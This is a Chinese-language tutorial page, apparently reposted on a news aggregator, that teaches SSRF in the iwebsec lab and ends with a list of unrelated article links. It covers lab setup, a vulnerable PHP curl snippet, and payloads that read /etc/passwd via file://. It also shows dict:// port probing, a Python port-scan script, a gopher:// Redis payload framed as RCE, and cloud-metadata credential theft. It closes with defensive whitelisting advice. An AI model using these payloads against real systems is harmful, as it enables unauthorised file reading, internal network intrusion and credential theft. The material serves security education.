当前位置: 首页 > news >正文

新手也能懂的SSRF漏洞实战:用iwebsec靶场复现文件读取与内网探测

从零开始掌握SSRF漏洞:iwebsec靶场实战指南

1. 认识SSRF漏洞的本质

想象一下,你正在一家高档餐厅点餐,服务员承诺可以帮你从任何地方获取食材——包括隔壁竞争对手的厨房。SSRF(Server-Side Request Forgery)漏洞就像这个过于"热心"的服务员,它允许攻击者诱使服务器向任意地址发起请求,从而突破网络边界限制。

SSRF的核心危害主要体现在三个方面:

  • 敏感数据泄露:读取服务器本地文件(如/etc/passwd
  • 内网渗透跳板:探测或攻击内网服务(如Redis、MySQL)
  • 请求伪造攻击:以服务器身份发起恶意请求

初学者常混淆SSRF与CSRF的区别。简单来说:

  • CSRF是利用用户身份执行非预期操作
  • SSRF是利用服务器权限发起非预期请求

提示:现代云环境中,SSRF可能导致更严重的后果,如获取云服务元数据(AWS的169.254.169.254)

2. 搭建iwebsec靶场实验环境

2.1 靶场部署与配置

iwebsec是一个专为Web安全学习设计的漏洞演练平台,内置多种漏洞场景。以下是本地部署步骤:

# 下载并启动Docker容器 docker pull iwebsec/iwebsec docker run -d -p 80:80 --name iwebsec iwebsec/iwebsec

访问http://localhost即可看到如下模块:

漏洞类型路径难度等级
SSRF基础/vuln/ssrf/ssrf1★★☆☆☆
SSRF进阶/vuln/ssrf/ssrf2★★★☆☆
SSRF协议利用/vuln/ssrf/ssrf3★★★★☆

2.2 必要工具准备

建议安装以下浏览器插件辅助测试:

  • HackBar:快速构造和发送Payload
  • Postman:复杂请求测试
  • cURL(命令行版):协议调试

3. 基础文件读取实战

3.1 发现SSRF注入点

访问http://localhost/vuln/ssrf/ssrf1.php可见如下页面代码片段:

<?php if (isset($_GET['url'])) { $link = $_GET['url']; $curlobj = curl_init($link); //...省略其他curl配置... echo curl_exec($curlobj); } ?>

这个简单的文件下载功能就是典型的SSRF漏洞场景——未对用户输入的URL进行任何过滤。

3.2 利用file协议读取系统文件

尝试在URL参数中使用不同协议:

  1. 读取Web目录文件(HTTP协议)

    /vuln/ssrf/ssrf1.php?url=http://127.0.0.1/robots.txt
  2. 读取系统敏感文件(FILE协议)

    /vuln/ssrf/ssrf1.php?url=file:///etc/passwd

关键原理:当服务端使用curl_execfile_get_contents等函数时,如果未限制协议类型,攻击者可以通过构造特殊URL访问本地文件系统。

4. 内网探测与端口扫描

4.1 使用dict协议探测服务

dict协议设计用于字典查询,但可被利用来检查端口开放状态:

/vuln/ssrf/ssrf1.php?url=dict://127.0.0.1:3306

典型响应分析:

  • 端口开放:返回服务标识(如MySQL的版本信息)
  • 端口关闭:连接超时或拒绝

4.2 自动化探测脚本

虽然靶场环境简单,但真实场景中可以使用Python脚本自动化检测:

import requests ports = [21, 22, 80, 3306, 6379] for port in ports: try: r = requests.get( f"http://target/vuln/ssrf.php?url=dict://127.0.0.1:{port}", timeout=3 ) print(f"[+] Port {port} open - {r.text[:50]}") except: print(f"[-] Port {port} closed")

5. 防御方案与最佳实践

5.1 输入过滤策略

建议采用白名单机制限制允许的协议和域名:

$allowed_hosts = ['example.com', 'cdn.example.net']; $parsed = parse_url($_GET['url']); if (!in_array($parsed['host'], $allowed_hosts)) { die('Invalid host'); } if (!in_array($parsed['scheme'], ['http', 'https'])) { die('Protocol not allowed'); }

5.2 网络层防护

防护措施实施方法效果评估
出站流量限制防火墙规则限制服务器出站连接★★★★☆
网络隔离内网服务设置独立VPC★★★★☆
请求目标验证解析DNS记录比对IP范围★★★☆☆

6. 漏洞利用的进阶思考

在实际渗透测试中,SSRF常与其他漏洞形成组合攻击:

  1. 云环境利用:通过SSRF获取IAM角色临时凭证
  2. 协议转换攻击:利用302跳转绕过协议限制
  3. CRLF注入:在请求中插入恶意头信息

一个有趣的案例是,某次测试中发现通过gopher://协议可以构造Redis命令,最终实现了无需认证的RCE:

/vuln/ssrf.php?url=gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0ax%0d%0a$10%0d%0aevilcode%0d%0a

这种攻击手法的关键在于精确控制协议payload的URL编码格式。建议在测试环境中多尝试不同协议的组合使用,你会惊讶于SSRF的灵活性。

http://www.gsyq.cn/news/1386805.html

相关文章:

  • 嵌入式Linux实战:手把手教你为EC20 4G模块编译GobiNet驱动(含内核配置避坑)
  • Unity模块化展厅资源包:工业级3D场景搭建方案
  • 2026年射洪市本地装饰公司综合实力排行盘点:射洪装饰公司、射洪装饰、射洪家装、射洪精装修、射洪整装、射洪装修公司选择指南 - 优质品牌商家
  • 探索Java开发新趋势:拥抱现代化编程范式
  • Kerberos身份认证原理与企业级排错实战指南
  • 机器学习与深度学习在地球物理勘探中的应用:基于电阻率数据预测极化率模型
  • 机器学习结合基因无关通路映射:从临床数据挖掘新药靶点
  • 告别硬编码!Spring Cloud Gateway + Sentinel 1.8.6 动态流控规则配置实战
  • 甲烷卫星监测算法优化与实时处理技术
  • 【大模型学习】AI大模型应用开发全攻略:从LLM到Agent,手把手带你入门!
  • 2026年4月附近有名的重大活动风险评估服务商推荐,土地房屋征收社会稳定风险评估,重大活动风险评估服务商哪家权威 - 品牌推荐师
  • 用C语言解决‘换硬币’问题?我来教你如何调试和验证你的循环逻辑
  • 投资网上超市评测:本低仓加盟、社区仓加盟、线上百货超市加盟、线上百货超市开店、线上超级便利店、线上连锁超市、闪电仓选择指南 - 优质品牌商家
  • Jmeter文件上传测试:multipart/form-data全链路实战指南
  • 癫痫手术精准定位:基于脑电信号昼夜节律与多生物标志物的机器学习分析框架
  • 项目管理是什么?全面解读项目管理的核心内容
  • 2026苏州公司注册资金认缴服务评测:苏州网上申请注册、苏州财务公司代理记账、苏州财税咨询与代理记账、苏州零申报代理记账选择指南 - 优质品牌商家
  • Sora 2 AVI支持背后的真相:为什么官方文档未声明?——基于逆向SDK v2.1.3a的ABI级分析(含AVI RIFF Chunk解析图谱)
  • DeepSeek开源协议识别实战手册:7类高危许可证误判案例及自动化检测工具链部署
  • 有限滤光片下测光红移的混合方法:融合模板拟合与机器学习
  • 酒店门锁V10SDK接口说明-幽冥大陆(一百23)—东方仙盟
  • 告别沉浸式白屏!UniApp中iOS/Android底部安全区与顶部状态栏颜色自定义全攻略
  • 5G R17 TBoMS到底是个啥?用大白话讲透多时隙传输TB块的原理与配置
  • NeuroClean:无监督机器学习驱动的EEG/LFP数据自动化预处理全流程解析
  • 2026反光膜应用白皮书:一类反光膜/三类反光膜/五类反光膜/交通标志杆件/人防标牌/反光交通标牌/反光膜加工/选择指南 - 优质品牌商家
  • OpenCore Legacy Patcher实战指南:让旧款Mac重获新生的完整教程
  • IPD的势、道、法、术、器
  • 低成本三麦克风阵列声源定位方案设计与实现
  • 2026年济南SGEO优化月成本揭秘:性价比如何?
  • TCM4355X通讯模块